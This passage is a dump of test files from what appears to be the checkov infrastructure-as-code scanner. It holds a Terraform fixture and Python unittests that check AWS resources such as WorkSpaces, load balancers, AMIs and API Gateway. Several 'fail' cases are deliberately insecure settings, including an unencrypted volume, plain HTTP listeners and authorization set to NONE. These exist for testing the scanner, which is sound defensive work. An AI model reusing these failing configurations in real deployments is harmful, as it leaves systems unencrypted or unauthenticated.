    "content": "resource \"aws_workspaces_workspace\" \"pass\" {\n  directory_id = aws_workspaces_directory.main.id\n  bundle_id    = data.aws_workspaces_bundle.bundle.id\n  user_name    = var.user_name\n\n  user_volume_encryption_enabled = true\n  volume_encryption_key          = var.volume_encryption_key\n\n  workspace_properties {\n    compute_type_name                         = \"VALUE\"\n    user_volume_size_gib                      = 10\n    root_volume_size_gib                      = 80\n    running_mode                              = \"AUTO_STOP\"\n    running_mode_auto_stop_timeout_in_minutes = 60\n  }\n\n  tags = var.common_tags\n}\n\nresource \"aws_workspaces_workspace\" \"fail\" {\n  directory_id = aws_workspaces_directory.main.id\n  bundle_id    = data.aws_workspaces_bundle.bundle.id\n  user_name    = var.user_name\n\n  workspace_properties {\n    compute_type_name                         = \"VALUE\"\n    user_volume_size_gib                      = 10\n    root_volume_size_gib                      = 80\n    running_mode                              = \"AUTO_STOP\"\n    running_mode_auto_stop_timeout_in_minutes = 60\n  }\n\n  tags = var.common_tags\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_ACMCertCreateBeforeDestroy.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.ACMCertCreateBeforeDestroy import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestACMCertCreateBeforeDestroy(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_ACMCertCreateBeforeDestroy\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_acm_certificate.pass\",\n        }\n        failing_resources = {\n            \"aws_acm_certificate.fail\",\n            \"aws_acm_certificate.fail2\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_ACMCertSetLoggingPreference.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.ACMCertSetLoggingPreference import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestACMCertSetLoggingPreference(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_ACMCertSetLoggingPreference\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_acm_certificate.pass\",\n            \"aws_acm_certificate.pass2\",\n        }\n        failing_resources = {\n            \"aws_acm_certificate.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_ALBDesyncMode.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.ALBDesyncMode import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestALBDesyncMode(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_ALBDesyncMode\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_lb.pass\",\n            \"aws_alb.pass\",\n            \"aws_elb.pass\",\n        }\n        failing_resources = {\n            \"aws_lb.fail\",\n            \"aws_alb.fail\",\n            \"aws_elb.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_ALBDropHttpHeaders.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.ALBDropHttpHeaders import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestALBDropHttpHeaders(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_ALBDropHttpHeaders\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_lb.enabled\",\n            \"aws_alb.enabled\",\n        }\n        failing_resources = {\n            \"aws_lb.default\",\n            \"aws_alb.default\",\n            \"aws_lb.disabled\",\n            \"aws_alb.disabled\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 4)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_ALBListenerHTTPS.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.terraform.checks.resource.aws.ALBListenerHTTPS import check\n\n\nclass TestALBListenerHTTPS(unittest.TestCase):\n\n    def test_success_redirect(self):\n        resource_conf = {'load_balancer_arn': ['${aws_lb.front_end.arn}'], 'port': ['80'], 'protocol': ['HTTP'],\n                         'default_action': [{'type': ['redirect'], 'redirect': [\n                             {'port': ['443'], 'protocol': ['HTTPS'], 'status_code': ['HTTP_301']}]}]}\n\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_success_1(self):\n        resource_conf = {'load_balancer_arn': ['${aws_lb.front_end.arn}'], 'port': ['443'], 'protocol': ['HTTPS']}\n\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_success_2(self):\n        resource_conf = {'load_balancer_arn': ['${aws_alb.front_end.arn}'], 'port': ['443'], 'protocol': ['HTTPS']}\n\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_nlb_tcp_success(self):\n        resource_conf = {'load_balancer_arn': ['${aws_lb.front_end.arn}'], 'port': ['22'], 'protocol': ['TCP']}\n\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_nlb_udp_success(self):\n        resource_conf = {'load_balancer_arn': ['${aws_lb.front_end.arn}'], 'port': ['53'], 'protocol': ['UDP']}\n\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_nlb_tcp_udp_success(self):\n        resource_conf = {'load_balancer_arn': ['${aws_lb.front_end.arn}'], 'port': ['53'], 'protocol': ['TCP_UDP']}\n\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_failure_1(self):\n        resource_conf = {'load_balancer_arn': ['${aws_lb.front_end.arn}'], 'port': ['80'], 'protocol': ['HTTP']}\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure_2(self):\n        resource_conf = {'load_balancer_arn': ['${aws_alb.front_end.arn}'], 'port': ['80'], 'protocol': ['HTTP']}\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success_no_protocol(self):\n        hcl_res = hcl2.loads(\"\"\"\nresource \"aws_lb_listener\" \"http_redirector\" {\n  load_balancer_arn = aws_lb.redirector.arn\n  port              = \"80\"\n  protocol          = \"HTTP\"\n  default_action {\n    type = \"redirect\"\n    redirect {\n      host        = \"example.com\"\n      status_code = \"HTTP_302\"\n    }\n  }\n}\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_lb_listener']['http_redirector']\n        result = check.scan_resource_conf(resource_conf)\n        self.assertEqual(CheckResult.UNKNOWN, result)\n\n    def test_unknown_not_rendered(self):\n        hcl_res = hcl2.loads(\"\"\"\nresource \"aws_lb_listener\" \"http_redirector\" {\n  load_balancer_arn = aws_lb.redirector.arn\n  port              = \"80\"\n  protocol          = var.lb_protocol\n  default_action {\n    type = \"redirect\"\n    redirect {\n      host        = \"example.com\"\n      status_code = \"HTTP_302\"\n    }\n  }\n}\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_lb_listener']['http_redirector']\n        result = check.scan_resource_conf(resource_conf)\n        self.assertEqual(CheckResult.UNKNOWN, result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_AMICopyIsEncrypted.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.AMICopyIsEncrypted import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestAMICopyIsEncrypted(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_AMICopyIsEncrypted\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_ami_copy.pass\",\n        }\n        failing_resources = {\n            \"aws_ami_copy.fail\",\n            \"aws_ami_copy.fail2\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_AMICopyUsesCMK.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.AMICopyUsesCMK import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestAMIEncryption(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_AMICopyUsesCMK\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_ami_copy.pass\",\n        }\n        failing_resources = {\n            \"aws_ami_copy.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_AMIEncryption.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.AMIEncryption import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestAMIEncryption(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_AMIEncryption\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_ami.pass\",\n            \"aws_ami.pass2\",\n        }\n        failing_resources = {\n            \"aws_ami.fail\",\n            \"aws_ami.fail2\",\n            \"aws_ami.fail3\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 3)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_AMILaunchIsShared.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.AMILaunchIsShared import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestAMILaunchIsShared(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_AMILaunchIsShared\"\n        report = runner.run(\n            root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])\n        )\n        summary = report.get_summary()\n\n        failing_resources = {\n            \"aws_ami_launch_permission.fail\"\n        }\n\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_APIGatewayAccessLogging.py",
    "content": "import unittest\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.terraform.checks.resource.aws.APIGatewayAccessLogging import check\n\n\nclass TestAPIGatewayAccessLogs(unittest.TestCase):\n\n    def test_failure(self):\n        resource_conf = {\n            \"rest_api_id\": \"Example\",\n        }\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        resource_conf = {\n            \"rest_api_id\": \"Example\",\n            \"access_log_settings\": [\n                {\n                    \"destination_arn\": \"some-arn\"\n                }\n            ],\n        }\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_APIGatewayAuthorization.py",
    "content": "import unittest\n\nfrom checkov.terraform.checks.resource.aws.APIGatewayAuthorization import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestAPIGatewayAuthorization(unittest.TestCase):\n\n    def test_failure(self):\n        resource_conf = {\"rest_api_id\": [\"${var.rest_api_id}\"],\n                         \"resource_id\": [\"${var.resource_id}\"],\n                         \"http_method\": [\"${var.method}\"],\n                         \"authorization\": [\"NONE\"]}\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        resource_conf = {\"rest_api_id\": [\"${var.rest_api_id}\"],\n                         \"resource_id\": [\"${var.resource_id}\"],\n                         \"http_method\": [\"${var.method}\"],\n                         \"authorization\": [\"AWS_IAM\"]}\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_success_apikey(self):\n        resource_conf = {\"rest_api_id\": [\"${var.rest_api_id}\"],\n                         \"resource_id\": [\"${var.resource_id}\"],\n                         \"http_method\": [\"${var.method}\"],\n                         \"authorization\": [\"NONE\"],\n                         \"api_key_required\": [True]}\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_authorization_missing(self):\n        resource_conf = {\"rest_api_id\": [\"${var.rest_api_id}\"],\n                         \"resource_id\": [\"${var.resource_id}\"],\n                         \"http_method\": [\"${var.method}\"]}\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_APIGatewayCacheEnable.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.APIGatewayCacheEnable import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestAPIGatewayCacheEnable(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_APIGatewayCacheEnable\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_api_gateway_stage.pass\",\n        }\n        failing_resources = {\n            \"aws_api_gateway_stage.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_APIGatewayCreateBeforeDestroy.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.APIGatewayCreateBeforeDestroy import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestAPIGatewayCreateBeforeDestroy(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_APIGatewayCreateBeforeDestroy\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_api_gateway_rest_api.pass\",\n        }\n        failing_resources = {\n            \"aws_api_gateway_rest_api.fail\",\n            \"aws_api_gateway_rest_api.fail2\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_APIGatewayDeploymentCreateBeforeDestroy.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.APIGatewayDeploymentCreateBeforeDestroy import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestAPIGatewayDeploymentCreateBeforeDestroy(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_APIGatewayDeploymentCreateBeforeDestroy\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_api_gateway_deployment.pass\",\n        }\n        failing_resources = {\n            \"aws_api_gateway_deployment.fail\",\n            \"aws_api_gateway_deployment.fail2\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_APIGatewayDomainNameTLS.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.APIGatewayDomainNameTLS import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestAPIGatewayDomainNameTLS(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_APIGatewayDomainNameTLS\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_api_gateway_domain_name.pass\",\n            \"aws_api_gateway_domain_name.pass2\",\n            \"aws_api_gateway_domain_name.pass3\",\n        }\n        failing_resources = {\n            \"aws_api_gateway_domain_name.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 3)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_APIGatewayMethodSettingCacheEncrypted.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.APIGatewayMethodSettingsCacheEncrypted import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestAPIGatewayMethodSettingsCacheEncrypted(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_APIGatewayMethodSettingsCacheEncrypted\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_api_gateway_method_settings.pass\",\n            \"aws_api_gateway_method_settings.pass2\",\n        }\n        failing_resources = {\n            \"aws_api_gateway_method_settings.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_APIGatewayMethodSettingsCacheEnabled.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.APIGatewayMethodSettingsCacheEnabled import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestAPIGatewayMethodSettingsCacheEnabled(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_APIGatewayMethodSettingsCacheEnabled\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_api_gateway_method_settings.pass\",\n        }\n        failing_resources = {\n            \"aws_api_gateway_method_settings.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_APIGatewayMethodSettingsDataTrace.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.aws.APIGatewayMethodSettingsDataTrace import check\n\n\nclass TestAPIGatewayMethodSettingsDataTrace(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_APIGatewayMethodSettingsDataTrace\")\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_api_gateway_method_settings.pass_explicit\",\n            \"aws_api_gateway_method_settings.pass_implicit\",\n        }\n        failing_resources = {\n            \"aws_api_gateway_method_settings.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_APIGatewayV2RouteDefinesAuthorizationType.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.aws.APIGatewayV2RouteDefinesAuthorizationType import check\n\n\nclass TestAPIGatewayV2RouteDefinesAuthorizationType(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_APIGatewayV2RouteDefinesAuthorizationType\")\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_apigatewayv2_route.pass\",\n            \"aws_apigatewayv2_route.pass2\",\n        }\n        failing_resources = {\n            \"aws_apigatewayv2_route.fail\",\n            \"aws_apigatewayv2_route.fail2\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_APIGatewayXray.py",
    "content": "import unittest\n\nfrom checkov.terraform.checks.resource.aws.APIGatewayXray import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestAPIGatewayXray(unittest.TestCase):\n\n    def test_failure(self):\n        resource_conf = {\"xray_tracing_enabled\": [False]}\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n\n    def test_success(self):\n        resource_conf = {\"xray_tracing_enabled\": [True]}\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_AWSCodeGuruHasCMK.py",
